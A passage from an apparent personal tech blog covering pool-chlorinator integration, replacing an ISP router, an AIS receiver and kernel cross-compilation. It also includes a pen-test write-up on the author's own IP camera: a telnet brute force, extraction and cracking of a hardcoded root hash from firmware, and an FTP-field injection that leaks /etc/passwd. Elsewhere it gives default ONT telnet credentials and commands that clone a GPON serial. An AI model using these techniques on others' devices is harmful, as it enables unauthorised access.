Reading | ################################################## | 100% 25.53s

avrdude: verifying ...
avrdude: 199364 bytes of flash verified

avrdude: safemode: hfuse reads as D8
avrdude: safemode: efuse reads as FD
avrdude: safemode: Fuses OK (E:FD, H:D8, L:FF)

avrdude done. Thank you.

Start domoticz :

sudo service domoticz start

You’re done : Update the RFLink gateway using CLI on your Linux server.

Hayward Aquarite integration in Home Assistant with Tasmota

Sun, 21 Jan 2024 00:00:00 +0000

In order to get an Hayward Aquarite integration in Home Assistant with Tasmota we’ll go through several steps including wiring the ESP32 to the Aquarite and then the Home Assistant configuration.

Hardware : ESP32

Step 1 : Prototype

We’ll use :
- ESP32 from AZ-Delivery
- RS485 to TTL adapter

The wiring will be done as follow :

Step 2 : Final version

For the final version, we’ll use an M5stack ESP32 with a RS485 tail, in order to have a clean, small and 10v powered device.

Software : Tasmota

With the “Sugar Valley NeoPool module” Tasmota support natively this salt chlorinator.
This option is not compile in the standard version, we’ll need to compile Tasmota in order to compile this functionality.

Tasmota compilation

Install Plateformio :

sudo apt-get install python-pip
sudo pip install -U platformio

Get Tasmota files :

git clone https://github.com/arendst/Tasmota.git

Before compiling, let’s enable the support of the Sugar Valley NeoPool chlorinators :

vim tasmota/my_user_config.h

And modify as follow :

// !!! Remember that your changes GOES AT THE BOTTOM OF THIS FILE right before the last #endif !!!

#ifndef USE_NEOPOOL
#define USE_NEOPOOL
#endif

#endif // _USER_CONFIG_OVERRIDE_H_

Then compile and upload :

platformio run -e tasmota32 --target upload --upload-port /dev/ttyUSB0

Tasmota configurtion

Configure IO as follow :

Then wire it, start it and you should be able to use data :

Home assistant integration

Once done, you could process to MQTT integration and have a nice native integration in Home Assistant with Tasmota integration.

You’re done with Hayward Aquarite integration in Home Assistant with Tasmota.

Replace Livebox with a MikroTik RB750Gr3 router and XT-010H-D ONT

Sun, 21 Jan 2024 00:00:00 +0000

In order to Replace Livebox with a MikroTik RB750Gr3 router and XT-010H-D ONT, we’ll need to configure the ONT first, and then the Mikrotik.

An ONT (Optical Network Terminal) is a crucial device in fiber-optic communication systems. It serves as the interface between the fiber-optic network and end-user equipment, converting optical signals into electrical signals for devices like computers, phones, and TVs. Typically installed at the customer’s premises, the ONT connects to a fiber-optic cable and enables high-speed internet, phone, and TV services. It provides functions like signal conversion, data routing, and often features multiple Ethernet ports and sometimes Wi-Fi capabilities. The ONT ensures efficient data transmission by managing fiber signals, optimizing performance, and supporting reliable connectivity for residential or business users.

ONT : Configure the Leox XT-010H-D

First, let’s get the livebox ONT serial number, to be able to use the same for out Leox XT-010H-D

Then, you should be able to connect to the Leox XT-010H-D with the following parameters :

IP : 192.168.100.1
Protocol : Telnet
Login leox
Password leolabs_7

Then we adjust the required parameters :

telnet 192.168.100.1
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.
LXT-010H-D login: leox
Password: 
# flash set GPON_SN SMBSXXXXXXXX
GPON_SN=SMBSXXXXXXXX
# flash set PON_VENDOR_ID SMBS
PON_VENDOR_ID=SMBS
telnet 192.168.100.1
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.
LXT-010H-D login: leox
Password: 
# flash set GPON_SN SMBSXXXXXXXX
GPON_SN=SMBSXXXXXXXX
# flash set PON_VENDOR_ID SMBS
PON_VENDOR_ID=SMBS

Router : Configure the Mikroktik RB750Gr3 to replace the Livebox

Notes :

Port 1 : ONT
Port 2 - 5 : Home network

Interfaces :

/interface bridge
add name=FTTH
add name=bridge

/interface vlan
add interface=ether1 name=VLAN832 vlan-id=832

/interface list
add comment=defconf name=WAN
add comment=defconf name=LAN

/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik

Authentication : Replace xxxxxxx by the login fti/xxxxxxx in hexadecimal.

/ip dhcp-client option
add code=77 name=userclass value=0x2b46535644534c5f6c697665626f782e496e7465726e65742e736f66746174686f6d652e4c697665626f7834
add code=90 name=authsend value=0x00000000000000000000000x00000000000000000000006674692fxxxxxxxxxxxxxx

To finish the configuration :

/ip pool
add name=default-dhcp ranges=192.168.1.10-192.168.1.254

/ip dhcp-server
add address-pool=default-dhcp disabled=no interface=bridge name=defconf

/interface bridge filter
add action=set-priority chain=output dst-port=67 ip-protocol=udp mac-protocol=ip new-priority=6 out-interface=VLAN832 passthrough=yes src-port=68

/interface bridge port
add bridge=bridge comment=defconf interface=ether2
add bridge=bridge comment=defconf interface=ether3
add bridge=bridge comment=defconf interface=ether4
add bridge=bridge comment=defconf interface=ether5
add bridge=FTTH interface=VLAN832

/ip neighbor discovery-settings
set discover-interface-list=LAN

/interface list member
add comment=defconf interface=bridge list=LAN
add comment=defconf interface=FTTH list=WAN

/ip address
add address=192.168.1.1/24 comment=defconf interface=bridge network=192.168.1.0

/ip dhcp-client
add dhcp-options=authsend,clientid,hostname,userclass disabled=no interface=FTTH

/ip

/ip dns
set allow-remote-requests=yes servers=1.1.1.1,1.0.0.1

/ip dns static
add address=172.6.0.254 comment=defconf name=router.lan

/ip firewall filter
add action=accept chain=input comment="defconf: accept established,related,untracked" connection-state=established,related,untracked
add action=drop chain=input comment="defconf: drop invalid" connection-state=invalid
add action=accept chain=input comment="defconf: accept ICMP" protocol=icmp
add action=accept chain=input comment="defconf: accept to local loopback (for CAPsMAN)" dst-address=127.0.0.1
add action=drop chain=input comment="defconf: drop all not coming from LAN" in-interface-list=!LAN
add action=accept chain=forward comment="defconf: accept in ipsec policy" ipsec-policy=in,ipsec
add action=accept chain=forward comment="defconf: accept out ipsec policy" ipsec-policy=out,ipsec
add action=fasttrack-connection chain=forward comment="defconf: fasttrack" connection-state=established,related
add action=accept chain=forward comment="defconf: accept established,related, untracked" connection-state=established,related,untracked
add action=drop chain=forward comment="defconf: drop invalid" connection-state=invalid
add action=drop chain=forward comment="defconf: drop all from WAN not DSTNATed" connection-nat-state=!dstnat connection-state=new in-interface-list=WAN

/ip firewall nat
add action=masquerade chain=srcnat comment="defconf: masquerade" ipsec-policy=out,none out-interface-list=WAN

/ip service
set telnet disabled=yes
set ftp disabled=yes
set ssh disabled=yes 

/system clock
set time-zone-name=Europe/Paris

/tool mac-server
set allowed-interface-list=LAN

/tool mac-server mac-winbox
set allowed-interface-list=LAN

You’re done : Replace Livebox with a MikroTik RB750Gr3 router and XT-010H-D ONT

AIS receiver on a Raspberry Pi with RTL-SDR

Sat, 20 Jan 2024 00:00:00 +0000

In order to get our AIS receiver on a Raspberry Pi with RTL-SDR, we’ll install first the RTL-SDR software, then the AIS software.

AIS Introduction

AIS stands for Automatic Identification System. It’s a maritime navigation safety communication system used by ships and vessel traffic services (VTS) to track and identify ships in real-time. Here are some key details about AIS:

Purpose:

Collision avoidance: AIS helps vessels avoid collisions by providing real-time information about nearby ships.
Tracking and monitoring: Authorities can track the location and movement of vessels, enhancing safety and maritime traffic management.
Navigation and situational awareness: It assists with route planning and increases awareness of nearby ships, reducing accidents and improving operational efficiency.

How it works:

AIS transmits data such as:

Ship’s position (latitude, longitude)
Speed
Course and heading
Ship’s name and identification (e.g., IMO number)
Type of ship
Destination and estimated time of arrival (ETA)

AIS uses VHF radio frequencies (156.025 MHz to 162.025 MHz) to transmit this data to nearby ships and shore-based stations. There are two main types of AIS:

AIS Class A: Primarily for larger commercial vessels (required by international maritime regulations for ships over 300 GT).
AIS Class B: For smaller commercial or recreational vessels (typically transmitting less frequently than Class A).

Components:

AIS Transponder: A device installed on a vessel that sends and receives AIS signals.
AIS Base Stations: Shore-based stations that receive signals from ships and can relay information to other vessels or maritime authorities.
AIS Receivers: Devices that receive AIS signals for situational awareness (used by ships, authorities, and other entities).

RTL-SDR software installation

Install required software for compilation :

sudo apt-get install git cmake libusb-1.0-0-dev build-essential

Clone software from Github :

git clone git://git.osmocom.org/rtl-sdr.git

Move to folder, compile, install and reboot :

cd rtl-sdr
mkdir build
cd build
cmake ../ -DINSTALL_UDEV_RULES=ON
make
sudo make install
sudo ldconfig
cd ~
sudo cp ./rtl-sdr/rtl-sdr.rules /etc/udev/rules.d/
sudo reboot

Then we can test :

rtl_test

You might have the following issue :

Found 1 device(s):
0: Realtek, RTL2838UHIDIR, SN: 00000001

Using device 0: Generic RTL2832U OEM

Kernel driver is active, or device is claimed by second instance of librtlsdr.
In the first case, please either detach or blacklist the kernel module
(dvb_usb_rtl28xxu), or enable automatic detaching at compile time.

usb_claim_interface error -6
Failed to open rtlsdr device #0.

Remove the problematic driver :

sudo modprobe -r dvb_usb_rtl28xxu

Blacklist it by creating the following file :

sudo vi /etc/modprobe.d/rtl-sdr-blacklist.conf

With the following content :

blacklist dvb_usb_rtl28xxu

Then we can test again :

rtl_test

The output should looks like :

Found 1 device(s):
0: Realtek, RTL2838UHIDIR, SN: 00000001

Using device 0: Generic RTL2832U OEM
Found Rafael Micro R820T tuner
Supported gain values (29): 0.0 0.9 1.4 2.7 3.7 7.7 8.7 12.5 14.4 15.7 16.6 19.7 20.7 22.9 25.4 28.0 29.7 32.8 33.8 36.4 37.2 38.6 40.2 42.1 43.4 43.9 44.5 48.0 49.6
[R82XX] PLL not locked!
Sampling at 2048000 S/s.

Info: This tool will continuously read from the device, and report if
samples get lost. If you observe no further output, everything is fine.

Reading samples in async mode...
Allocating 15 zero-copy buffers

RTL-SDR dongle calibration

Go back to your home folder :

cd ~

Install required software for compilation :

sudo apt install build-essential libtool automake autoconf librtlsdr-dev libfftw3-dev

Clone software from Github :

git clone https://github.com/steve-m/kalibrate-rtl

Move to folder, compile and install :

cd kalibrate-rtl/
./bootstrap && CXXFLAGS='-W -Wall -O3' 
./configure
make
sudo make install

Test it a few minutes to get a rough idea of the PPM deviation :

rtl_test -p

Output :

Found 1 device(s):
0: Realtek, RTL2838UHIDIR, SN: 00000001

Using device 0: Generic RTL2832U OEM
Found Rafael Micro R820T tuner
Supported gain values (29): 0.0 0.9 1.4 2.7 3.7 7.7 8.7 12.5 14.4 15.7 16.6 19.7 20.7 22.9 25.4 28.0 29.7 32.8 33.8 36.4 37.2 38.6 40.2 42.1 43.4 43.9 44.5 48.0 49.6
[R82XX] PLL not locked!
Sampling at 2048000 S/s.
Reporting PPM error measurement every 10 seconds...
Press ^C after a few minutes.
Reading samples in async mode...
lost at least 168 bytes
real sample rate: 2047684 current PPM: -154 cumulative PPM: -154
real sample rate: 2048101 current PPM: 50 cumulative PPM: -52
real sample rate: 2048077 current PPM: 38 cumulative PPM: -22
real sample rate: 2048198 current PPM: 97 cumulative PPM: 8
real sample rate: 2048066 current PPM: 33 cumulative PPM: 13
real sample rate: 2048093 current PPM: 46 cumulative PPM: 18
real sample rate: 2048072 current PPM: 36 cumulative PPM: 21
real sample rate: 2047986 current PPM: -6 cumulative PPM: 17
real sample rate: 2048079 current PPM: 39 cumulative PPM: 20
real sample rate: 2048108 current PPM: 53 cumulative PPM: 23
real sample rate: 2048037 current PPM: 18 cumulative PPM: 23
^CSignal caught, exiting!

User cancel, exiting...
Samples per million lost (minimum): 0

We’ll keep 23 as a rough PPM value at this stage.

Start to search for 900Mhz GSM stations :

kal -s 900 -g 49.6 -e 23

Output :

Found 1 device(s):
0: Generic RTL2832U OEM

Using device 0: Generic RTL2832U OEM
Found Rafael Micro R820T tuner
Exact sample rate is: 270833.002142 Hz
[R82XX] PLL not locked!
Setting gain: 49.6 dB
kal: Scanning for GSM-900 base stations.
GSM-900:
chan: 2 (935.4MHz - 16.587kHz) power: 869529.54
chan: 4 (935.8MHz + 38.960kHz) power: 2190452.67
chan: 5 (936.0MHz - 16.799kHz) power: 4623109.31
chan: 15 (938.0MHz + 38.865kHz) power: 815597.24
chan: 16 (938.2MHz - 15.502kHz) power: 2225985.25
chan: 20 (939.0MHz + 38.956kHz) power: 1047025.60
chan: 78 (950.6MHz - 12.733kHz) power: 3137623.08
chan: 123 (959.6MHz - 12.483kHz) power: 1856407.90

Then let’s find the PPM using here the channel 5 (as it is the stronger) :

kal -c 5 -g 49.6 -e 23

Output :

Found 1 device(s):
0: Generic RTL2832U OEM

Using device 0: Generic RTL2832U OEM
Found Rafael Micro R820T tuner
Exact sample rate is: 270833.002142 Hz
[R82XX] PLL not locked!
Setting gain: 49.6 dB
kal: Calculating clock frequency offset.
Using GSM-900 channel 5 (936.0MHz)
average [min, max] (range, stddev)
- 11.901kHz [-11934, -11871] (63, 18.615683)
overruns: 0
not found: 0
average absolute error: 35.715 ppm

Our average absolute error is 35.715 ppm !

RTL-AIS Software

Go back to your home folder :

cd ~

Clone software from Github :

git clone https://github.com/dgiardini/rtl-ais

Move to folder, compile and install :

cd rtl-ais
make

Then we can run the software :

./rtl_ais -p 35 -n -h 192.168.1.15

-p 35 : Software deviation in PPM found during the previous calibration. -n : Log AIS messages to console. -h : Send AIS data to the mentioned IP. Here, our desktop computer with OpenCPN.

Output :

Edge tuning disabled.
DC filter enabled.
RTL AGC disabled.
Internal AIS decoder enabled.
Buffer size: 163.84 mS
Downsample factor: 64
Low pass: 25000 Hz
Output: 48000 Hz
Found 1 device(s):
0: Realtek, RTL2838UHIDIR, SN: 00000001

Using device 0: Generic RTL2832U OEM
Found Rafael Micro R820T tuner
Log NMEA sentences to console ON
AIS data will be sent to 192.168.1.15 port 10110
Tuner gain set to automatic.
Tuner error set to 35 ppm.
Tuned to 162000000 Hz.
Sampling at 1600000 S/s.
!AIVDM,1,1,,B,6>jCJckfJjOt>db70104@00,0*71
!AIVDM,1,1,,B,E>jCJcl32bh87ab@87a:1RP0000?rnLv=Q?ih50```b>:0,0*6A
!AIVDM,1,1,,B,6>jCJckfJjOt>db7@104@00,0*01
!AIVDM,1,1,,A,6>jCJckfJjOt>db70104@00,0*72
!AIVDM,1,1,,B,E>jCJcl32bh87ab@87a:1RP0000?rnLn=Q?j@50```b>:0,0*59
!AIVDM,1,1,,B,6>jCJckfJjOt>db70104@00,0*71
!AIVDM,1,1,,A,6>jCJckfJjOt>db5P104@00,0*10
!AIVDM,1,1,,B,E>jCJcl32bh87ab@87a:1RP0000?rnM4=Q?ih50```b>:0,0*29
!AIVDM,1,1,,B,E>jCJcl32bh87ab@87a:1RP0000?rnLv=Q?gh50```b>:0,0*64
!AIVDM,1,1,,B,E>jCJcl32bh87ab@87a:1RP0000?rnLm=Q?k050```b>:0,0*2B
!AIVDM,1,1,,B,6>jCJckfJjOt>db70104@00,0*71
!AIVDM,1,1,,A,33IWVk0Ohvwma3BK1nlAIQ@L01vP,0*64
!AIVDM,1,1,,B,33IWVk0Ohrwma5vK1o2QRQFV00qh,0*27
!AIVDM,1,1,,A,13IWVk0Ohrwma74K1o;iS1Hd0L10,0*6E
!AIVDM,1,1,,B,33IWVk000bwmabjK1pdC8jBj01r0,0*33
!AIVDM,1,1,,B,E>jCJcl32bh87ab@87a:1RP0000?rnLk=Q?ih50```b>:0,0*77
!AIVDM,1,1,,A,13IWVk000IwmbLnK1qS8;h6d08<k,0*1A !AIVDM,1,1,,B,6>jCJckfJjOt>db6h104@00,0*28
!AIVDM,1,1,,B,33IWVk0Oh5wmbIJK1qALP@l:01o@,0*31
!AIVDM,1,1,,A,33IWVk0Oh7wmbI8K1qBdEPnB00pP,0*18
!AIVDM,1,1,,B,13IWVk0Oh6wmbHVK1qCdQhpJ087:,0*69
!AIVDM,1,1,,B,33IWVk0Oh7wmbHHK1qEdDPpT013@,0*36
!AIVDM,1,1,,A,13IWVk0Oh7wmbH0K1qFt00rd05C0,0*7E
!AIVDM,1,1,,A,33IWVk0Oh8wmbGJK1qHch0rr00ih,0*26
!AIVDM,1,1,,B,13IWVk1009wmbG:K1qJ;g0s005C0,0*11
!AIVDM,1,1,,A,13IWVk1008wmbFRK1qLKl@wB0<10,0*7A
!AIVDM,1,1,,B,13IWVk1Oh6wmbDPK1qTu0Q<H05C4,0*05 !AIVDM,1,1,,A,13IWVk1Oh5wmbDfK1qW=O1@d00Rp,0*67 !AIVDM,1,1,,A,6>jCJckfJjOt>db5P104@00,0*10
!AIVDM,1,1,,B,13IWVk1Oh4wmbCnK1qadqQE000R@,0*3A
!AIVDM,1,1,,A,13IWVk1Oh3wmbCrK1qcM0iGB08Gw,0*2A
!AIVDM,1,1,,B,13IWVk1Oh3wmbD6K1qeP@1KV05C4,0*0B
!AIVDM,1,1,,A,13IWVk1003wmbChK1qh=<AN40<0w,0*44 !AIVDM,1,1,,B,33IWVk1003wmbC@K1qje;QNH0I70,0*69 !AIVDM,1,1,,B,E>jCJcl32bh87ab@87a:1RP0000?rnLq=Q?gh50```b>:0,0*63
!AIVDM,1,1,,A,33IWVk1003wmbCFK1qlej1Rd0AfJ,0*48
!AIVDM,1,1,,A,13IWVk1003wmbCFK1qp@:1WB0000,0*5D
!AIVDM,1,1,,A,13IWVk1Oh1wmbCJK1qru21f40000,0*0C
!AIVDM,1,1,,B,33IWVk1001wmbBLK1qsnP1v80Dhr,0*27
!AIVDM,1,1,,A,33IWVk1000wmbCDK1qeoHAp20E<r,0*0A !AIVDM,1,1,,B,E>jCJcl32bh87ab@87a:1RP0000?rnLq=Q?j@50```b>:0,0*46
!AIVDM,1,1,,B,6>jCJckfJjOt>db70104@00,0*71
!AIVDM,1,1,,A,E>jCJcl32bh87ab@87a:1RP0000?rnLi=Q?j@50```b>:0,0*5D
!AIVDM,1,1,,A,6>jCJckfJjOt>db70104@00,0*72
!AIVDM,1,1,,B,6>jCJckfJjOt>db5h104@00,0*2B

This messages could be decoded online, for example here : http://ais.tbsalling.dk/

OpenCPN client

Here is my configuration:

192.168.1.12 : Raspberry Pi Zero with RTL-SDR dongle
192.168.1.15 : Laptop with Ubuntu desktop and OpenCPN software

Desktop OpenCPN configuration :

Using the debug window, we can check that AIS messages are well received by OpenCPN :

OpenCPN client check received messages

And AIS targets are shown on the map :

AIS targets on OpenCPN map

You’re done : AIS receiver on a Raspberry Pi with RTL-SDR.

C7824WIP Security Review : East Pen test

Tue, 16 Jan 2024 00:00:00 +0000

C7824WIP Security Review : East Pen test with the full process from initial trials to root access.

Security vulnerabilities

Final achievements :
- Remotely take control of the camera (telnet)
- Find the web UI password

For this, we used the following methods :
- Bruteforce : success
- Firmware reverse engineering : success
- Form injection : success

Penetration test

Method 1 : Bruteforce

We’re able to crack the password in a few seconds using Medusa. Hydra fails to crack the password.

medusa -u root -P passwords.txt -h 192.168.1.16 -M telnet

Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ACCOUNT CHECK: [telnet] Host: 192.168.1.16 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 111111 (1 of 370 complete)
ACCOUNT CHECK: [telnet] Host: 192.168.1.16 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 11111111 (2 of 370 complete)
ACCOUNT CHECK: [telnet] Host: 192.168.1.16 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 112233 (3 of 370 complete)
ACCOUNT CHECK: [telnet] Host: 192.168.1.16 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 121212 (4 of 370 complete)
ACCOUNT CHECK: [telnet] Host: 192.168.1.16 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123123 (5 of 370 complete)
ACCOUNT CHECK: [telnet] Host: 192.168.1.16 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (6 of 370 complete)
ACCOUNT FOUND: [telnet] Host: 192.168.1.16 User: root Password: 123456 [SUCCESS]

So the root password : 123456.

Method 2 : Reverse engineering

Tools

Binwalk

Binwalk is a firmware analysis tool designed for analyzing, reverse engineering and extracting data contained in firmware images.
The last stable version of Binwalk (2.1.1) was not extracting the firmware correctly, so I had to install the 2.0.0.

Install Binwalk 2.0.0 :

wget https://github.com/devttys0/binwalk/archive/v2.0.0.zip
unzip v2.0.0.zip
cd binwalk-2.0.0
/deps.sh
./configure
make
make install

Firmware reverse engineering

Firmware servers and download link

Sniffing the traffic between the Vstarcam firmware upgrade software and Internet allows us to easily identify the servers and the protocol used to retrieve and upgrade camera firmware.

Remote file : http://45.63.8.70/FM/system/firmware.txt So we can download our firmware (45.63.8.70) using the following link : http://45.63.8.70/FM/system/CH-sys-48.53.64.67.zip

Firmware download and extraction

Create a working folder, download and extract the zipped firmware :

mkdir firmware
cd firmware
wget http://45.63.8.70/FM/system/CH-sys-48.53.64.67.zip
unzip CH-sys-48.53.64.67.zip

Binary header analysis :

head -n1 CH-sys-48.53.64.67.bin | hexdump -C

00000000 77 77 77 2e 6f 62 6a 65 63 74 2d 63 61 6d 65 72 |www.object-camer|
00000010 61 2e 63 6f 6d 2e 62 79 2e 68 6f 6e 67 7a 78 2e |a.com.by.hongzx.|
00000020 73 79 73 74 65 6d 2f 73 79 73 74 65 6d 2f 6c 69 |system/system/li|
00000030 62 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |b/..............|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000060 6c 69 62 73 6e 73 5f 67 63 31 30 30 34 2e 73 6f |libsns_gc1004.so|
00000070 2e 7a 69 70 00 00 00 00 00 00 00 00 00 00 00 00 |.zip............|
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000000a0 e3 23 00 00 43 40 35 30 00 00 00 00 50 4b 03 04 |.#..C@50....PK..|
000000b0 14 00 00 00 08 00 fa 8b 5d 47 89 42 30 43 09 23 |........]G.B0C.#|
000000c0 00 00 93 4a 00 00 22 00 1c 00 73 79 73 74 65 6d |...J.."...system|
000000d0 2f 73 79 73 74 65 6d 2f 6c 69 62 2f 6c 69 62 73 |/system/lib/libs|
000000e0 6e 73 5f 67 63 31 30 30 34 2e 73 6f 55 54 09 00 |ns_gc1004.soUT..|
000000f0 03 88 e7 31 56 88 e7 31 56 75 78 0b 00 01 04 ed |...1V..1Vux.....|
00000100 03 00 00 04 ed 03 00 00 e5 7c 0b 78 53 55 d6 f6 |.........|.xSU..|
00000110 3e b9 b4 69 9a cb 69 cf 29 96 8b 92 0a |>..i..i.)....|

We should be able to use Binwalk to extract the firmware :

binwalk -Mer CH-sys-48.53.64.67.bin

Scan Time: 2016-01-20 01:02:57
Target File: CH-sys-48.53.64.67.bin
MD5 Checksum: 58df9214226cfe46760215bfca0c496c
Signatures: 285

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
172 0xAC Zip archive data, at least v2.0 to extract, compressed size: 8969, uncompressed size: 19091, name: "system/system/lib/libsns_gc1004.so"
9337 0x2479 End of Zip archive
9499 0x251B Zip archive data, at least v2.0 to extract, compressed size: 7813, uncompressed size: 16341, name: "system/system/lib/libsns_ov9712_plus.so"
17518 0x446E End of Zip archive
17680 0x4510 Zip archive data, at least v2.0 to extract, compressed size: 90121, uncompressed size: 353248, name: "system/system/lib/libOnvif.so"
107987 0x1A5D3 End of Zip archive
108149 0x1A675 Zip archive data, at least v2.0 to extract, compressed size: 43603, uncompressed size: 84480, name: "system/system/lib/libvoice_arm.so"
151946 0x2518A End of Zip archive
152108 0x2522C Zip archive data, at least v2.0 to extract, compressed size: 130, uncompressed size: 227, name: "system/init/ipcam.sh"
152406 0x25356 End of Zip archive
152568 0x253F8 Zip archive data, at least v2.0 to extract, compressed size: 402383, uncompressed size: 886168, name: "system/system/bin/encoder"
555129 0x87879 End of Zip archive
555291 0x8791B Zip archive data, at least v2.0 to extract, compressed size: 35394, uncompressed size: 74200, name: "system/system/bin/wifidaemon"
590869 0x90415 End of Zip archive
591031 0x904B7 Zip archive data, at least v2.0 to extract, compressed size: 1852, uncompressed size: 9692, name: "system/system/bin/grade.sh"
593063 0x90CA7 End of Zip archive
593225 0x90D49 Zip archive data, at least v2.0 to extract, compressed size: 8704, uncompressed size: 20212, name: "system/system/bin/updata"
602105 0x92FF9 End of Zip archive
602267 0x9309B Zip archive data, at least v2.0 to extract, compressed size: 1874, uncompressed size: 4522, name: "system/system/bin/gpio_aplink.ko"
604333 0x938AD End of Zip archive
604495 0x9394F Zip archive data, at least v2.0 to extract, compressed size: 7241, uncompressed size: 16802, name: "system/system/bin/motogpio.ko"
611922 0x95652 End of Zip archive
612084 0x956F4 Zip archive data, at least v1.0 to extract, compressed size: 8, uncompressed size: 8, name: "system/system/bin/fwversion.bin"
612282 0x957BA End of Zip archive
612444 0x9585C Zip archive data, at least v1.0 to extract, compressed size: 9, uncompressed size: 9, name: "system/system/bin/sysversion.txt"
612645 0x95925 End of Zip archive

Using tree to see the files available :

tree _CH-sys-48.53.64.67.bin.extracted/

_CH-sys-48.53.64.67.bin.extracted/
└── system
 ├── init
 │ └── ipcam.sh
 └── system
 ├── bin
 │ ├── encoder
 │ ├── fwversion.bin
 │ ├── gpio_aplink.ko
 │ ├── grade.sh
 │ ├── motogpio.ko
 │ ├── sysversion.txt
 │ ├── updata
 │ └── wifidaemon
 └── lib
 ├── libOnvif.so
 ├── libsns_gc1004.so
 ├── libsns_ov9712_plus.so
 └── libvoice_arm.so

5 directories, 13 files

Firmware analysis and password retrieval

Looking for the files containing the “passwd” string :

grep -r "passwd" .

Binary file ./system/system/bin/wifidaemon matches
Binary file ./system/system/bin/encoder matches

And check in these files for the password.

wifidaemon

strings system/system/bin/wifidaemon | grep -A 1 -B 1 passwd

iRet %d pkey:%s keyvalue:%s
/etc/passwd
root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

encoder

strings system/system/bin/encoder | grep -A 1 -B 1 passwd

 factory_user
 factory_passwd
 factory_alarmserver
 --
 alarmuser
 alarmpasswd
 alarmdeviceid
 --
 ===websLaunchCgiProc===
 /etc/passwd
 root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh
 --
 SET_PARAMETER
 check_user_passwd right
 check_user_passwd erro
 Unknown RTSP server state[%d]

So the hashed password for root user is : LSiuY7pOmZG2s. This is encrypted, you can’t use this one to login. We need to crack it first :

echo "root:LSiuY7pOmZG2s" > password.txt
john password.txt

Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
123456 (root)
guesses: 1 time: 0:00:00:00 100% (2) c/s: 17680 trying: 12345 - biteme
Use the "--show" option to display all of the cracked passwords reliably

The root password : 123456.

Method 3 : Injection

Thanks to this article, we know that the system is interpreting the FTP user, so proceed as follow :

Save and proceed to a “test”. Then monitor the FTP server logs :

FTP session opened.
USER root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh: no such user found from 192.168.1.16 [192.168.1.16] to ::ffff:192.168.1.15:21
2FTP session closed.

So the hashed password for root user is : LSiuY7pOmZG2s. As already mentioned before, easy to decode :

echo "root:LSiuY7pOmZG2s" > password.txt
john password.txt

Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
123456 (root)
guesses: 1 time: 0:00:00:00 100% (2) c/s: 17680 trying: 12345 - biteme
Use the "--show" option to display all of the cracked passwords reliably

You’re done with C7824WIP Security Review : East Pen test

Cross compilation of a Kernel module on Ubuntu for Raspbian

Tue, 16 Jan 2024 00:00:00 +0000

In order to do a cross compilation of a Kernel module on Ubuntu for Raspbian, we’ll take as an example the D-Link DWA-131 WiFi dongle that is not supported out of the box on Raspbian, a compilation is required. You have two options :

Compile on the Pi
Cross-compile on a other machine.

I prefer to cross-compile as it’s faster and easier : you avoid to install the compilation tools and download huge sources on a small SD card…

Step 1 : Collect information

Dongle information

>lsusb
Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp.
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp.
Bus 001 Device 004: ID 2001:3319 D-Link Corp.

Information needed

Get the firmware hash:

FIRMWARE_HASH=$(zgrep "* firmware as of" /usr/share/doc/raspberrypi-bootloader/changelog.Debian.gz | head -1 | awk '{ print $5 }')

Print it :

echo $FIRMWARE_HASH

Result :

3442862c10fab68c2e88d660d2e69c143bb1f00c

Get the kernel hash:

KERNEL_HASH=$(wget https://raw.github.com/raspberrypi/firmware/$FIRMWARE_HASH/extra/git_hash -O -)

Print it :

echo $KERNEL_HASH

Result :

ca312f557513e057c456598528e663fe9d009498

We need to load the configs module to be able to retrieve the configuration later on:

sudo modprobe configs

And finally your Kernel version :

uname -r

Result :

4.1.17+

Copy paste these information somewhere in a text file, we’ll use it later on.

Step 2 : On the compilation server

Preparation

Prepare a folder to work in :

mkdir ~/raspberrypi
export BASEDIR=~/raspberrypi
cd $BASEDIR

Create variables based on what we found earlier :

FIRMWARE_HASH=3442862c10fab68c2e88d660d2e69c143bb1f00c
KERNEL_HASH=ca312f557513e057c456598528e663fe9d009498

Kernel source

Download and extract the kernel source :

wget https://github.com/raspberrypi/linux/archive/$KERNEL_HASH.tar.gz
tar -xzf $KERNEL_HASH.tar.gz
export KERNEL_SRC=$BASEDIR/linux-$KERNEL_HASH

Kernel configuration

Download the configuration from the raspberry pi. The IP should be the IP of the raspberry pi :

scp pi@192.168.137.250:/proc/config.gz .

Compilation tools

Download the compilation tools :

cd $BASEDIR
git clone git://github.com/raspberrypi/tools.git
export CCDIR=$BASEDIR/tools/arm-bcm2708/arm-bcm2708-linux-gnueabi/bin
export CCPREFIX=$CCDIR/arm-bcm2708-linux-gnueabi-

Kernel preparation

Prepare the Kernel source :

cd $KERNEL_SRC
zcat $BASEDIR/config.gz > .config
wget https://raw.githubusercontent.com/raspberrypi/firmware/$FIRMWARE_HASH/extra/Module.symvers
ARCH=arm CROSS_COMPILE=${CCPREFIX} make oldconfig
ARCH=arm CROSS_COMPILE=${CCPREFIX} make prepare

Driver source

Download the driver source :

cd $BASEDIR
git clone https://github.com/romcyncynatus/rtl8192eu.git
cd rtl8192eu/

Driver compilation

Compilation :

make ARCH=arm CROSS_COMPILE=$CCPREFIX KVER=4.1.17+ KSRC=$KERNEL_SRC

First error :

